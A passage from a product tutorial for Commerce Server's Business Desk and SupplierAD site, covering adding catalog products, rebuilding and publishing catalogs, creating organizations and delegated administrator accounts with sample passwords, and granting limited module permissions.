  1. In the Catalog Content – Office Supplies (English – United States) screen, in the Products section, click New.

    The New Product dialog box appears.

  2. In the New Product dialog box, select Pen from the list, and then click OK.
  3. In the Catalog Editor – Office Supplies (English – United States) – new (Pen) screen, in the Product Properties section, do the following:
    Use this | To do this
    Label | Type Pen - Felt Tip.
    Description | Type The felt tip pen product.
    Name | Type Felt Tip Pen.
  4. Expand the Product Variants section, click New, and do the following:
    Use this | To do this
    SKU | Type ftp01.
    Body Color | Select Red from the drop-down list.
    Manufacturer | Type Northwind Traders.
    InkColor | Select Green from the drop-down list.
    TipType | Select Felt Tip from the drop-down list.
    Variant price | Type .99.
  5. Click Done.

    The felt tip pen product, SKU ftp01, appears in the Product Variants list. Next you will create another felt tip pen product.

  6. In the Product Variants section, click New, and do the following:
    Use this | To do this
    SKU | Type ftp02.
    Body Color | Select Blue from the drop-down list.
    Manufacturer | Type Northwind Traders.
    InkColor | Select Blue from the drop-down list.
    TipType | Select Felt Tip from the drop-down list.
    Variant price | Type .99.
  7. Click Done.

    The felt tip pen product, SKU ftp02, appears in the Product Variants list. Next you will assign your felt tip pen product to the Pens category.

To assign this product to the Pens category

  1. Expand the Assigned Categories section.
  2. In the Assigned Categories section, in the Available categories list, select Pens, and then click Add.

    The Pens category appears in the Assigned categories list.

To save your changes

  • Click save and go back on the toolbar to save the felt tip pen products and return to the Catalog Content – Office Supplies (English – United States) screen.

    The message "Saving, please wait" appears.

To view your Products list

  • In the Catalog Content – Office Supplies (English – United States) screen, in the Products section, click Find Now.

    The Pen - Felt Tip product you just created appears in the Products section, in the Products list.

Proceed to Step 3: Adding a Pencil product to the Office Supplies catalog, where you will add two pencil products.


Step 3: Adding a Pencil product to the Office Supplies catalog

  1. In the Catalog Content – Office Supplies (English – United States) screen, in the Products section, click New.
  2. In the New Product dialog box, select Pencil from the list and then click OK.

    The Catalog Editor – Office Supplies (English – United States) – new (Pencil) screen appears.

  3. In the Product Properties section, do the following:
    Use this | To do this
    Label | Type Pencil.
    Description | Type The pencil product.
    Name | Type Pencil.
  4. Expand the Product Variants section, click New, and then do the following:
    Use this | To do this
    SKU | Type pencil0001.
    Manufacturer | Type Northwind Traders.
    LeadColor | Select Black from the drop-down list.
    BodyColor | Select Yellow from the drop-down list.
    LeadSize | Select #1 from the drop-down list.
    Variant price | Type .21.
  5. Click Done.

    The first pencil product appears in the Product Variants list. Next you will create a second pencil product.

  6. In the Product Variants section, click New, and then do the following:
    Use this | To do this
    SKU | Type pencil0002.
    Manufacturer | Type Northwind Traders.
    LeadColor | Select Black from the drop-down list.
    BodyColor | Select Yellow from the drop-down list.
    LeadSize | Select #2 from the drop-down list.
    Variant price | Type .20.
  7. Click Done.

    The second pencil product appears in the Product Variants list. Notice that the variant price for product pencil0002 appears in the Product Variants list as 0.2 (the trailing zero is dropped), however, the price will be formatted normally on the Web site.

To assign this product to the Pencils category

  1. Expand the Assigned Categories section.
  2. In the Assigned Categories section, in the Available categories list, select Pencils and then click Add.

    The Pencils category appears in the Assigned categories list.

To save your changes

  • Click save and go back on the toolbar to save the pencil product, and return to the Catalog Content – Office Supplies (English – United States) screen.

    The message "Saving, please wait" appears, and then the Catalog Content – Office Supplies (English – United States) screen appears.

To view your Products list

  1. In the Office Supplies (English – United States) screen, click Find Now.

    The pen and pencil products you created for the Office Supplies catalog appear in the Products section, in the Products list.

  2. Click back on the toolbar to return to the Catalogs screen.

Proceed to Step 4: Adding a Printer product to the Office Machines catalog.


Step 4: Adding a Printer product to the Office Machines catalog

  1. In the Catalogs module, click Catalog Editor.
  2. In the Catalogs screen, select Office Machines from the Name column, and then click open on the toolbar to open the Office Machines catalog.
  3. In the Catalog Content – Office Machines (English – United States) screen, in the Products section, click New.
  4. In the New Product dialog box, select Printer from the list and then click OK.
  5. In the Catalog Editor – Office Machines (English – United States) – new (Printer) screen, in the Product Properties section, do the following:
    Use this | To do this
    Label | Type Printer - Laser.
    Name | Type Laser Printer.
    Description | Type The laser printer product.
    Manufacturer | Type Northwind Traders.
    PPM | Type 20.
    Weight | Type 75.
    Printing Technology | Select Laser from the drop-down list.
    Color Printing | Select No from the drop-down list.
    Price | Type 599.00.
  6. To save the laser printer product and create a new printer product, click save and create new on the toolbar.
  7. In the New Product dialog box, select Printer from the list and then click OK.

    The message "Saving, please wait" appears. When this message disappears, proceed to the next step.

  8. In the Catalog Editor – Office Machines (English – United States) – new (Printer) screen, in the Product Properties section, do the following:
    Use this | To do this
    Label | Type Printer - Ink Jet.
    Name | Type Ink Jet Printer.
    Description | Type The ink jet printer product.
    Manufacturer | Type Northwind Traders.
    PPM | Type 4.
    Weight | Type 10.
    Printing Technology | Select Ink Jet from the drop-down list.
    Color Printing | Select Yes from the drop-down list.
    Price | Type 200.00.
  9. Click save and back on the toolbar to save the ink jet printer product and return to the Catalog Content – Office Machines (English – United States) screen.

    The message "Saving, please wait" appears. When this message disappears, proceed to the next step.

  10. In the Catalog Content – Office Machines (English – United States) screen, in the Products section, click Find Now.

    The Printer - Ink Jet and Printer - Laser products that you created appears in the Products section, in the Products list.

  11. To return to the Catalogs screen, click back.

    Now that you have added pen and pencil products to the Office Supplies base catalog, and printer products to the Office Machines base catalogs, proceed to Lesson 2: Rebuilding and Publishing your Catalogs.


Lesson 2: Rebuilding and Publishing Your Catalogs

The last steps in adding products to a catalog is to rebuild the catalog, and then publish them to your Web site. In this lesson you will rebuild your virtual catalog and publish it to the SupplierAD site. Rebuilding and publishing a virtual catalog to a site also rebuilds and publishes all base catalogs that it contains.

  • Step 1: Rebuilding the virtual catalog
  • Step 2: Publishing the virtual catalog to the SupplierAD site


Step 1: Rebuilding the virtual catalog

When you make changes to a virtual catalog, such as including a base catalog, categories, or products, you must rebuild the virtual catalog. Because you have added products to the Office Supplies and Office Machines base catalogs, you will now rebuild your virtual catalog.

  1. In the Catalogs module, click Catalog Editor.

    The Catalogs screen appears. Notice that in the Catalogs screen, the status for Virtual Catalog is "Requires rebuilding."

  2. Select Virtual Catalog and click rebuild on the toolbar to rebuild the virtual catalog, and the base catalogs it contains.
  3. In the Business Desk: Rebuild Catalog dialog box, click OK to close the dialog box and continue.

    In the Catalogs screen in the Status column for the Virtual Catalog row the status displayed is "Rebuilding".

  4. To refresh the screen, in the Catalogs module, click Catalog Editor.

The screen is refreshed and the status message for Virtual Catalog changes to "Up-to-date". Proceed to Step 2: Publishing the virtual catalog to the SupplierAD site.


Step 2: Publishing the virtual catalog to the SupplierAD site

  1. In the Catalogs module, click Catalog Editor.

    The Catalogs screen appears.

  2. To publish the changes to your Web site, select Virtual Catalog from the list, and then click Refresh Catalog on the toolbar.

    The message "Refreshing Catalogs" appears.

After the refresh is completed, the virtual catalog and base catalogs it contains are published on the SupplierAD Web site. You have completed Lab 3. Proceed to Lab 4: Performing Organizational and Security Tasks.


Lab 4: Performing Organizational and Security Tasks

Estimated Time to Complete: 60 minutes

In this lesson you will learn:

  • How to use organizations to ease administration tasks.
  • How to use create users using both Business Desk and the SupplierAD site.
  • How to grant limited access to Business Desk modules and tasks for specific users.

Business Desk organizations are used to link users, or groups of users, to catalogs to reduce administration tasks. A base catalog is assigned to a catalog set, and the catalog set is assigned to an organization. Note that base catalogs cannot be assigned directly to an organization. Users, both normal users and administrators, are also assigned to an organization. By assigning a user, or a group of users, to an organization, the user or user group inherits the catalog set of the organization, thereby simplifying administration.

Scenario: In this lab you will create an organization for each of your product groups: Office Supplies and Office Machines. Next you will create an administrator Windows account for each product group, and assign these administrators, also called delegated administrators, accounts to their respective organization. You will assign the appropriate catalog set, in which you created Lab 3 Lesson 5: Creating Catalog Sets, to an organization that you will create in this lab.

You will grant access to the catalog sets, that you created in Lab 3 Lesson 5: Creating Catalog Sets, to the appropriate organization. You will then create an administrator account for each trading partner, and add these accounts to the appropriate organization. Next, you will add these user accounts to the Business Desk Security Permissions list, and grant limited access to specific modules, catalogs, and tasks for these accounts to the appropriate catalog set. Finally, you will verify that your trading partners have only the access to Business Desk modules and tasks that you configured. You will also create a normal user and verify that the normal user is not an administrator.

The advantages of the SupplierAD Solution site are the following:

  • A Business Desk manager can create Windows user accounts using Business Desk.
  • Business Desk Managers can manage users for their sites without having to be domain administrators, or having knowledge of Active Directory.
  • User passwords are stored in Active Directory in an encrypted format, which makes this scenario more secure than storing passwords in SQL Server.

Each of the lessons listed below is a prerequisite for the subsequent lesson. It is important to complete each lesson in the order listed.

  • Lesson 1: Creating Organizations
  • Lesson 2: Creating User Accounts using Business Desk
  • Lesson 3: Creating User Accounts using the SupplierAD Site
  • Lesson 4: Viewing User Accounts using Business Desk
  • Lesson 5: Adding User Accounts to the Business Desk Security Permissions List
  • Lesson 6: Granting Delegated Administrators Limited Access to Business Desk
  • Lesson 7: Verifying Access to Business Desk


Lesson 1: Creating Organizations

Scenario: In this lesson, you will create two organizations, one called Office Supplies Product Group, and the other called Office Machines Product Group. You will also assign the appropriate catalog set to each organization. You created a catalog set for each trading partner earlier in Lab 2 of this tutorial. When you create user accounts, later in this lab, you will add users to the appropriate organization. Assigning catalog sets and users to an organization allows you to control which user has access to a particular catalog.

Each of the steps listed below is a prerequisite for the subsequent step. It is important to complete each step in the order listed:

  • Step 1: Creating the Office Machines Product Group organization
  • Step 2: Creating the Office Supplies Product Group organization
  • Step 3: Viewing the organizations


Step 1: Creating the Office Machines Product Group organization

  1. In Business Desk, in the Profiles module, click Organizations.
  2. In the Organization screen, click New on the toolbar.
  3. In the New Organization screen, in the General information section, do the following:
    Use this | To do this
    Name | Type Office Machines Product Group.
    Trading Partner Number | Type 01.
    Organization catalog set Select Office Machines from the drop-down list.

    note Note

    • This is the catalog set that you created in Lesson 5: Creating Catalog Sets.
  4. To save the new organization with the Office Machines catalog set and return to the Organization screen, click Save and go back on the toolbar.

    The Office Machines Product Group organization is saved.

Proceed to Step 2: Creating the Office Supplies Product Group organization.


Step 2: Creating the Office Supplies Product Group organization

  1. In the Profiles module, click Organizations.
  2. In the Organization screen, click New on the toolbar.
  3. In the New Organization screen, in the General information section, do the following:
    Use this | To do this
    Name | Type Office Supplies Product Group.
    Trading Partner Number | Type 02.
    Organization catalog set Select Office Supplies from the drop-down list.

    This is the catalog set that you created in Lesson 5: Creating Catalog Sets.
  4. To save the new organization with the Office Supplies catalog set and return to the Organization screen, click Save and go back on the toolbar.

    The Office Supplies Product Group organization is saved.

Proceed to Step 3: Viewing the organizations.


Step 3: Viewing the organizations

  1. In the Profiles module, click Organizations.
  2. In the Organization screen, in the Name box, type *, and then click Find Now.

    The Office Supplies Product Group and Office Machines Product Group organizations appear in the Filtered View list in the Organization screen. Proceed to Lesson 2: Creating User Accounts using Business Desk.


Lesson 2: Creating User Accounts using Business Desk

In this lesson, you will use Business Desk to create an administrator user account for each of your product groups: Office Supplies Product Group and Office Machines Product Group. Business Desk managers from each product group can then use their administrator user account to access the SupplierAD Web site. In Lessons 5 and 6, you will grant limited access to Business Desk for these user accounts.

It is important to complete each step in the order listed:

  • Step 1: Creating the OffMachAdmin Administrator Account
  • Step 2: Creating the OffSuppAdmin Administrator Account


Step 1: Creating the OffMachAdmin Administrator Account

In this step, you will create the OffMachAdmin account. This account will be used by a trusted member of the Office Machines product group to access your SupplierAD site. In lessons 5 and 6 below, you will add this user to the Security Permissions list, and then grant limited access to Business Desk for this account. This user will then update the Office Machines base catalog.

  1. In Business Desk, in the Profiles module, click Users.
  2. In the Users screen, click New on the toolbar.
  3. In the New Users screen, in the General information section, do the following:
    Use this | To do this
    Logon name Type OffMachAdmin.

    note Note

    • User names are not case sensitive. In this tutorial, user names are typed in upper and lower case to improve readability.
    User password Type OpenSesame.

    note Note

    • Passwords are case sensitive.
    E-mail | Type OffMachdmin@NorthwindTraders.com.
    User type | Ensure that Registered User is selected from the drop-down list.
    Last name | Type Admin.
    First name | Type OffMach.
    Default Language | Select English – United States from the drop-down list.
  4. In the New Users screen, in the Account Info section, do the following:
    Use this To do this
    Organization ID Select Insert an existing profile from the drop-down list.

    note Note

    • The existing profile to which you will add this user is the Office Machines Product Group organization which you created earlier in Lesson 1: Creating Organizations.
  5. In the Organization screen, do the following:
    Use this | To do this
    Find by | Select Name from the drop-down list.
    Name | Type *, and then click Find Now.

    Office Machines Product Group appears in the Filtered View list box.

  6. In the Filtered view list box, select Office Machines Product Group and then click Insert on the toolbar.
  7. In the New Users screen, in the Account Info section, do the following:
    Use this To do this
    Account status Ensure that Active Account is selected from the drop-down list.

    Note

    • The default account status is "Active Account". Users with inactive accounts cannot access your site.

    note Note

    • In the Account Info section of the New Users screen, it is not necessary to select a User catalog set. This is because the Office Machines catalog set was assigned to the Office Machines Product Group organization in Lesson 1: Creating Organizations, and you have just added this user to the Office Machines Product Group organization. Selecting a user-assigned catalog set would override the catalog set assigned at the organization level. Catalog sets configured at the user level take precedence over catalog sets configured at the organization level.
  8. In the New Users screen, in the Partner Service section, select Administrator from the Partner service role flags drop-down list.

    Note

    • There are two options in the Partner service role flags drop-down list, Normal User and Administrator. The default is Normal User. Administrator users, also called delegated administrators, have extended access for their organization (for example, reviewing orders and creating user profiles) in a site that supports delegated administrators.
  9. To save this new user and return to the Users screen, click Save and go back on the toolbar.

The new user is saved in the Office Machines Product Group organization profile. Proceed to Step 2: Creating the OffSuppAdmin Administrator Account.


Step 2: Creating the OffSuppAdmin Administrator Account

In this step, you will create the OffSuppAdmin account. A trusted member of the Office Supplies product group will use this account to access your SupplierAD site. In Lessons 5 and 6, you will add this user to the Security Permissions list, and then grant limited access to Business Desk for this account to allow this user to update the Office Supplies base catalog.

  1. In the Profiles module, click Users.
  2. In the Users screen, click New on the toolbar.
  3. In the New Users screen, in the General information section, do the following:
    Use this | To do this
    Logon name | Type OffSuppAdmin.
    User password | Type OpenSesame2.
    E-mail | Type OffSuppAdmin@NorthwindTraders.com.
    User type | Ensure that Registered User is selected from the drop-down list.
    Last name | Type Admin.
    First name | Type OffSupp.
    Default Language | Select English – United States from the drop-down list.
  4. In the New Users screen, in the Account Info section, do the following:
    Use this To do this
    Organization ID Select Insert an existing profile from the drop-down list.

    note Note

    • The existing profile to which you will add this user is the Office Supplies Product Group organization, which you created earlier in Lesson 1: Creating Organizations.
  5. In the Organization screen, do the following:
    Use this | To do this
    Find by | Select Name from the drop-down list.
    Name Type Office Supplies Product Group, and then click Find Now.

    Office Supplies Product Group appears in the Filtered View list box.
  6. In the Filtered view list box, select Office Supplies Product Group and then click Insert on the toolbar.
  7. In the New Users screen, in the Account Info section, do the following:
    Use this To do this
    Account status Ensure that Active Account is selected from the drop-down list.

    Note

    The default account status is "Active Account." Only users with active accounts can access your SupplierAD Web site.

    note Note

    • In the Account Info section of the New Users screen, it is not necessary to select a user catalog set. The Office Supplies catalog set was assigned to the Office Supplies Product Group organization in Lesson 1: Creating Organizations, and you have just added this user to the Office Supplies Product Group organization. Selecting a user-assigned catalog set would override the catalog set assigned at the organization level. Catalog sets configured at the user level take precedence over catalog sets configured at the organization level.
  8. In the New Users screen, in the Partner Service section, select Administrator from the Partner service role flags drop-down list.

    Note

    • There are two options in the Partner service role flags drop-down list: Normal User and Administrator. The default is Normal User. Administrator users, also called delegated administrators, are granted administrative access for their organization (for example, reviewing orders and creating user profiles) in a site that supports delegated administrators.
  9. To save this new user and return to the Users screen, click Save and go back on the toolbar.

The new user is saved in the Office Supplies Product Group organization profile. You will verify that the users were created later in this lab. Proceed to Lesson 3: Creating User Accounts using the SupplierAD Site.


Lesson 3: Creating User Accounts using the SupplierAD Site

In this lesson you will create a delegated administrator account and a user account for the Office Machines Product Group organization using the SupplierAD site. You will then verify that the user does not have administrative privileges on the SupplierAD Web site.

Each of the steps listed below is a prerequisite for the subsequent step. It is important to complete each step in the order listed:

  • Step 1: Creating a delegated administrator
  • Step 2: Creating a user
  • Step 3: Verifying that the user is not a delegated administrator


Step 1: Creating a delegated administrator

Because you are creating users for the Office Machines product group, you will log on to the SupplierAD site using the OffMachAdmin Windows account.

  1. Browse to your SupplierAD Web site. To open the SupplierAD site, using Internet Explorer, type http://<computername>/SupplierAD on the Address line, where <computername> is the name of your Commerce Server computer.
  2. In the SupplierAD site Sign-in screen, do the following:
    Use this To do this
    User name Type <domain>\OffMachAdmin,

    where <domain> is the name of your Windows domain.
    Password Type OpenSesame.

    note Note

    • Passwords are case sensitive.

    Note

    • Because you want to create a delegated user for the Office Machines product group, you logged on to the SupplierAD site using the OffMachAdmin account, which is a member or the Office Machines Product Group organization, and is also a delegated administrator. When a delegated administrator creates new user accounts, the new user accounts are automatically added to the same organization as the account that created them. In this case, the account is added to the Office Machines Product Group organization.
  3. Click Submit.

    Note

    • Scroll to the bottom of the page to view Partner Service in the left pane, which only appears to users who are delegated administrators.
  4. In the left pane, under Partner Service, click Users.
  5. In the Users screen, click New.
  6. In the Adding profile screen, in the Account Info section, ensure that Active is selected in the Account status drop-down list.

    Note

    • Only accounts that are marked active can access your site.
  7. In the Adding profile screen, in the Partner Service section, select Delegated Admin in the Partner service role flags drop-down list.
  8. In the Adding profile screen, in the General information section, do the following:
    Use this | To do this
    Logon name | Type BettyAdmin.
    Password | Type OpenSesame3.
    E-mail | Type BettyAdmin@NorthwindTraders.com.
    Last name | Type Admin.
    First name | Type Betty.
  9. In the Adding profile screen, click Save, and then click Close.

    The Users screen appears. The BettyAdmin account is saved as a delegated administrator, and appears in the Logon name column of the Users screen.

  10. Close the browser window.

Proceed to Step 2: Creating a user.


Step 2: Creating a user

In this step, you will log on to your site using the user account BettyAdmin which you created in Step 1: Creating a delegated administrator. You will then create a normal user account with the user name NormUser. Because the BettyAdmin account is a member of the Office Machines Product Group organization, the NormUser account will also be a member of the Office Machines Product Group organization.

  1. Browse to your SupplierAD Web site. To open the SupplierAD site, using Internet Explorer type http://<computername>/SupplierAD on the Address line, where <computername> is the name of your Commerce Server computer.
  2. In the SupplierAD site Sign-in screen, do the following:
    Use this | To do this
    User name Type <domain>\Bettyadmin,

    where <domain> is the name of your Windows domain.
    Password | Type OpenSesame3.
  3. Click Submit.

    Note

    • Scroll down to the bottom of the page to see Partner Service in the left pane. Only delegated administrators have this option.
  4. In the left pane under Partner Service, click Users.
  5. In the Users screen, click New.
  6. In the Adding profile screen, in the AccountInfo section, select Active from the Account Status drop-down list.
  7. In the Adding profile screen, in the Partner Service section, select User from the Partner service role flags drop-down list.
  8. In the Adding profile screen, in the General information section, do the following:
    Use this | To do this
    Logon name | Type NormUser.
    Password | Type OpenSesame4.
    Email | Type NormUser@NorthwindTraders.com.
    Last name | Type User.
    First name | Type Norm.
  9. In the Adding profile screen, Click Save, and then click Close.

    The NormUser account is saved as a non-administrative user, and is added to the Office Machines Product Group organization.

  10. Close the browser window.

Proceed to Step 3: Verifying the User is not a delegated administrator.


Step 3: Verifying that the user is not a delegated administrator

  1. Browse to the SupplierAD site. In Internet Explorer type http://<computername>/SupplierAD on the Address line.
  2. In the SupplierAD site Sign-in screen, do the following:
    Use this | To do this
    User name Type <Domain>\NormUser.

    where <domain> is the name of your Windows domain.
    Password | Type OpenSesame4.
  3. Click Submit.

    Notice that Partner Services does not appear in the left-hand pane. The Partner Services option only appears to delegated administrators and the NormUser account, which you created in Step 2: Creating a user.

  4. Close Internet Explorer.

You have verified that the NormUser Windows account is not a delegated administrator. Proceed to Lesson 4: Viewing User Accounts Using Business Desk.


Lesson 4: Viewing User Accounts Using Business Desk

In this lesson you will use Business Desk to view the Filtered View list of user accounts that you created with the Users module in Business Desk, and the SupplerAD Site in Lessons 2 and 3 of this lab. You will then view details of the OffSuppAdmin account, which is a delegated administrator, and the NormUser account, which is a normal user.

  • Step 1: Viewing the user list
  • Step 2: Viewing the OffSuppAdmin account
  • Step 3: Viewing the NormUser account


Step 1: Viewing the user list

  1. Click Profiles, and then click Users.
  2. In the Users screen, do the following:
    Use this | To do this
    Find by | Ensure that Logon name is selected from the drop-down list.
    Logon name Type *.

    note Note

    • The * (asterisk) is a wildcard character that causes all user accounts in Business Desk to be listed.
  3. Click Find Now.

    All Windows user accounts, which were created using the Users sub-module in Business Desk and the SupplierAD site, are listed in the Filtered View list. The OffMachAdmin and OffSuppAdmin users which you created in Lesson 2: Creating User Accounts using Business Desk, as well as the BettyAdmin and NormUser users which you created in Lesson 3: Creating User accounts using the SupplerAD Site, appear in the Filtered View list of the Users screen.

    Important

    • None of these Windows user accounts are a member of the Administrator group on the Commerce Server computer, nor should they be.

Proceed to Step 2: Viewing the OffSuppAdmin Account.


Step 2: Viewing the OffSuppAdmin account

  1. In the Users screen, select OffSuppAdmin from the Filtered View list, and then click open on the toolbar.

    The Update Profile: 'OffSuppAdmin' screen appears. Notice in the General Information section that the Logon name, User password, and Changed by fields are unavailable.

    Note

    • Although the User Password text box is unavailable, you can still change the password on this screen. To change the password, click the ellipsis to the right of the User Password text box. You can use the Password Reset dialog box to reset the password for this account. In this tutorial, do not change the user password.
  2. Expand the Account Info section.

    The Organization ID text field is unavailable. However, the Account Status, User catalog set, and Date registered fields are available.

  3. Expand the Partner Service section.

    The Administrator is selected in the Partner service role flags drop-down list. You can change the partner service role from Administrator to Normal User, demoting the role of this user account. However, for this tutorial, do not change this user profile.

  4. To return to the Users screen, click back on the toolbar.

Proceed to Step 3: Viewing the NormUser Account.


Step 3: Viewing the NormUser account

You created the NormUser account from the SupplierAD site using Internet Explorer.

  1. In the Users screen, select NormUser from the Filtered View list and then click open on the toolbar.

    In the Update Profile: 'NormUser' screen, in the General Information section, notice that the Logon name, User password, and Changed by fields are unavailable.

  2. Expand the Account Info section.

    The Organization ID text field is unavailable. However, the Account Status, User catalog set, and Date registered fields are available. If you want to inactivate an account for a period of time without deleting the account, you can change the Account status from "Active Account" to "Inactive Account." However, in this tutorial, do not change the status of this user profile.

  3. Expand the Partner Desk section.

    Notice that Normal User is selected in the Partner service role flags drop-down list. You could change the partner service role from Normal User to Administrator, effectively promoting the role of this user account. Do not make changes to this user profile.

  4. To return to the Users screen, click back on the toolbar.

You have viewed both an Administrator and normal user accounts using Business Desk. Proceed to Lesson 5: Adding User Accounts to the Business Desk Security Permissions List.


Lesson 5: Adding User Accounts to the Business Desk Security Permissions List

Scenario: You want to grant limited access to Business Desk modules to the trusted members of the Office Supplies and Office Machines product groups, so that they can update their catalogs on your site. By default, only members of the local administrators group on the Commerce Server computer have permission to access Business Desk. However, you do not want the Business Desk managers from your product groups to have full access to your Commerce Server Computer. Therefore, rather than adding the user accounts of the product group administrators to the administrator group of the Commerce Server computer, you decide to grant limited Business Desk access to the delegated administrator user accounts.

Granting users access to Business Desk modules and tasks is a two-step process; you first add the user accounts to the Business Desk security permissions list, and then grant these user accounts access to modules, catalogs, and tasks. In this lesson you will add the OffMachAdmin and OffSuppAdmin user accounts to the Business Desk security permissions list. Later, in Lesson 6: Granting Delegated Administrators Limited Access to Business Desk, you will grant these user accounts access to only the Business Desk modules, catalogs, and tasks within those modules, that you want them to access.

Each of the steps listed below is a prerequisite for the subsequent step. It is important to complete each step in the order listed:

  • Step 1: Adding the OffMachAdmin account to the Business Desk Security Permissions List
  • Step 2: Adding the OffSuppAdmin account to the Business Desk Security Permissions List


Step 1: Adding the OffMachAdmin account to the Business Desk Security Permissions List

  1. In Business Desk, click Security module, and then click Permissions.
  2. In the Security Permissions screen, click Add to List.
  3. In Add Account dialog box, in the Account text box, type <domain>\OffMachAdmin, where <domain> is the name of your active directory domain.
  4. Click Add.

You have added the OffMachAdmin account to Business Desk security permissions list. Proceed to Step 2: Adding the OffSuppAdmin Account to the Business Desk Security Permissions List.


Step 2: Adding the OffSuppAdmin account to the Business Desk Security Permissions List

  1. In the Security Permissions screen, click Add to List.
  2. In the Add Account dialog box, in the Account text box, type <domain>\OffSuppAdmin, where <domain> is the name of your Active Directory domain.
  3. Click Add.
  4. To return to the Commerce Server: Welcome to Business Desk screen, click back on the toolbar.

You have added the OffMachAdmin and OffSuppAdmin Windows accounts to the Business Desk security list. At this point, you have not granted access to any Business Desk modules. Proceed to Lesson 6: Granting Delegated Administrators Limited Access to Business Desk, where you will grant limited access to Business desk modules, catalogs, and tasks for these user accounts.


Lesson 6: Granting Delegated Administrators Limited Access to Business Desk

In this lesson, you will grant limited access to the Business Desk modules, catalogs, and tasks for trusted members of the Office Machines and Office Supplies product groups.

Each of the steps listed below is a prerequisite for the subsequent step. It is important to complete each step in the order listed:

  • Step 1: Granting limited access to the OffMachAdmin account
  • Step 2: Granting limited access to the OffSuppAdmin account


Step 1: Granting limited access to the OffMachAdmin account

  1. Click Security, and then click Permissions.
  2. In the Security Permissions screen, select <domain>\OffMachAdmin from the Windows Account drop-down list.
  3. In the Securable Entities section, expand Catalog.
  4. In the Catalogs row, select Allow and then click Details.
  5. In the Permissions Detail: Catalogs screen, in the Permissions: edit section, do the following:
    Use this | To do this
    Office Supplies | Select the Deny check box.
    Office Machines | Select the Allow check box.
    Virtual Catalog | Select the Deny check box.
  6. To return to the Security Permissions screen, click back on the toolbar.
  7. In the Security Permissions screen, in the Securable Entities section, on the Catalog Properties row, select the Allow check box.
  8. Expand the Business Desk Category/Module/Task Access section, and then scroll down the page to view the Catalogs section. In the Catalog Editor row, select the Allow check box.

    The Allow check box is checked for both the Catalogs row and the Catalog Editor row, which grants access to only the Catalog Editor module in Business Desk for this Windows user account.

  9. In the Business Desk Category/Module/Task Access section, in the Catalogs row, click Task Permissions.
  10. In the Permissions Detail: Catalogs screen, scroll down the page to view all the Catalog Editor tasks, and do the following:
    Use this To do this
    New Select the Deny check box.

    This denies this user permission to create new catalogs.
    Open Catalog Select the Allow check box.

    This allows this user to open catalogs that the user has been granted access to.
    Edit Properties Select the Deny check box.

    This denies this user permission to edit property definitions.
    Import Select the Deny check box.

    This denies this user permission to import catalogs to this site.
    Export Select the Allow check box.

    This allows this user to export catalogs from this site that the user has been granted access to.
    Delete Select the Deny check box.

    This denies this user permission to delete catalogs.
    Send Select the Allow check box.

    Allows this user to send data to a BizTalk server. However, this feature is not used in this tutorial.
    Rebuild Select the Allow check box.

    Allows this user to rebuild catalogs.

    Important

    • You should grant access to the Rebuild task only to delegated administrators that you trust to rebuild any catalog. Granting the Rebuild task for a user on any catalog grants them permission to rebuild any other catalog on your site.
    Refresh Select the Allow check box.

    Allows this user to refresh (publish) changes to the catalogs that the user has been granted access to.

    You have granted permissions to open the catalog that this user is granted access to and perform the tasks enabled.

  11. Click back to return to the Security Permissions screen.

Proceed to Step 2: Granting limited access to the OffSuppAdmin account.


Step 2: Granting limited access to the OffSuppAdmin account

  1. In the Security Permissions screen, select <domain>\OffSuppAdmin from the Windows Account drop-down list.
  2. In the Securable Entities section, expand Catalog.
  3. In the Catalogs row, select Allow and then click Details.
  4. In the Permissions Detail: Catalogs screen, in the Permissions: edit section, do the following:
    Use this | To do this
    Office Supplies | Select the Allow check box.
    Office Machines | Select the Deny check box.
    Virtual Catalog | Select the Deny check box.
  5. To return to the Security Permissions screen, click back on the toolbar.
  6. In the Securable Entities section, on the Catalog Properties row, select the Allow check box.
  7. In the Business Desk Category/Module/Task Access section, in the Catalog Editor row, select the Allow check box.

    The Allow check box is selected for both the Catalogs row and the Catalog Editor row, which grants access to the Catalog Editor module in Business Desk for this Windows user account.

  8. In the Business Desk Category/Module/Task Access section, in the Catalogs row, click Task Permissions.
  9. In the Permissions Detail: Catalogs screen, scroll down to view all the Catalog Editor tasks, and do the following:
    Use this To do this
    New Select the Deny check box.

    This denies this user permission to create new catalogs.
    Open Catalog Select the Allow check-box.

    This allows this user to open catalogs that the user has been granted access to.
    Edit Properties Select the Deny check-box.

    This denies this user permission to edit property definitions.
    Import Select the Deny check-box.

    This denies this user permission to import catalogs to this site.
    Export Select the Allow check-box.

    This allows this user to export catalogs from this site that the user has been granted access to.
    Delete Select the Deny check-box.

    This denies this user permission to delete catalogs.
    Send Select the Allow check-box.

    Allows this user to send data to a BizTalk server. However, this feature is not used in this tutorial.
    Rebuild Select the Allow check-box.

    Allows this user to rebuild catalogs.

    Important

    • Grant access to the Rebuild task only to delegated administrators that you trust to rebuild any catalog. Granting the Rebuild task for a user on any catalog grants them permission to rebuild any other catalog on your site.
    Refresh Select the Allow check box.

    Allows this user to refresh (publish) changes to the catalogs that the user has been granted access to.

    You have granted permissions to open the catalog that this user is granted access to and perform the tasks enabled above.

  10. To return to the Security Permissions screen, click back on the toolbar.
  11. To save your configuration and return to the Commerce Server: Welcome to Business Desk screen, click save and go back on the toolbar.

Proceed to Lesson 7: Verifying Access to Business Desk.


Lesson 7: Verifying Access to Business Desk

In the real world, the Business Desk managers from the Office Supplies and Office Machines product groups would access Business Desk from their own computers. To simulate this, you will access Business Desk using Internet Explorer from a workstation computer separate from the domain controller and the Commerce Server computer that you have been working with so far.

Important

  • It is not recommended to allow Business Desk managers to access Business Desk across the Internet. Business Desk managers should access Business Desk from your company intranet.

Each of the steps listed below is a prerequisite for the subsequent step. It is important to complete each step in the order listed:

  • Step 1: Verifying access for the OffMachAdmin account
  • Step 2: Verifying access for the OffSuppAdmin account


Step 1: Verifying access for the OffMachAdmin account

  1. Log on to your workstation computer.

    Notes

    • If your workstation computer is running Windows NT version 4, Windows 2000, or Windows XP, you must log on to your workstation using a Windows account that is a member of the administrators group on your workstation computer. This is not an issue with computers running Windows 9X. This logon account should not be a member of the administrator group on the Commerce Server computer or your domain controller.
    • The workstation computer does not need to be a member of the same domain that your Commerce Server is a member of, and does not need to be trusted for delegation.
    • The Windows account that you use to log on to your workstation computer does not need to be in the same domain as the Commerce Server computer.
  2. On your workstation computer, open Internet Explorer and then verify that your Security Settings are configured as described in the Business Desk does not install topic.

    Note

    • The security settings must be configured separately for each user profile.
  3. In Internet Explorer, type http://<computername>supplieradbizdesk in the Address text box, and then press ENTER, where <computername> is the name or IP address of your commerce server computer.

    Note

